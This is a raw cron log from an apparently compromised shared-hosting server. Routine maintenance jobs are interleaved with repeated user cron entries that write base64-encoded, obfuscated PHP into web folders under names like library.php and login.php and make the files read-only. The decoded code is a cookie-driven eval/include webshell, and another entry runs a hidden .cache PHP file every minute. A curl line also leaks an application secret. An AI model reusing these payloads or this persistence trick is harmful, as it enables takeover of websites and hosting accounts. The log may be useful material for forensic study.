x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:40:02 medusa CROND[20252]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:40:02 medusa CROND[20259]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:40:02 medusa CROND[20268]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:40:02 medusa CROND[20260]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:40:02 medusa CROND[20265]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:40:02 medusa CROND[20274]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:40:02 medusa CROND[20262]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:40:02 medusa CROND[20287]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:40:02 medusa CROND[20256]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:40:02 medusa CROND[20281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:40:02 medusa CROND[20280]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:41:01 medusa CROND[26328]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:41:01 medusa CROND[26337]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:41:01 medusa CROND[26574]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:41:01 medusa CROND[26575]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:41:01 medusa CROND[26577]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:41:01 medusa CROND[26578]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:41:01 medusa CROND[26581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:41:01 medusa CROND[26582]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:41:01 medusa CROND[26584]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:41:01 medusa CROND[26586]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:41:01 medusa CROND[26588]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:41:01 medusa CROND[26599]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:41:01 medusa CROND[26601]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:41:01 medusa CROND[26603]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 22:42:01 medusa CROND[32737]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:42:01 medusa CROND[32739]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:42:01 medusa CROND[32741]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:42:01 medusa CROND[32742]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:42:01 medusa CROND[32743]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:42:01 medusa CROND[32747]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:42:01 medusa CROND[32750]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:42:01 medusa CROND[32761]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 22:42:01 medusa CROND[32760]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
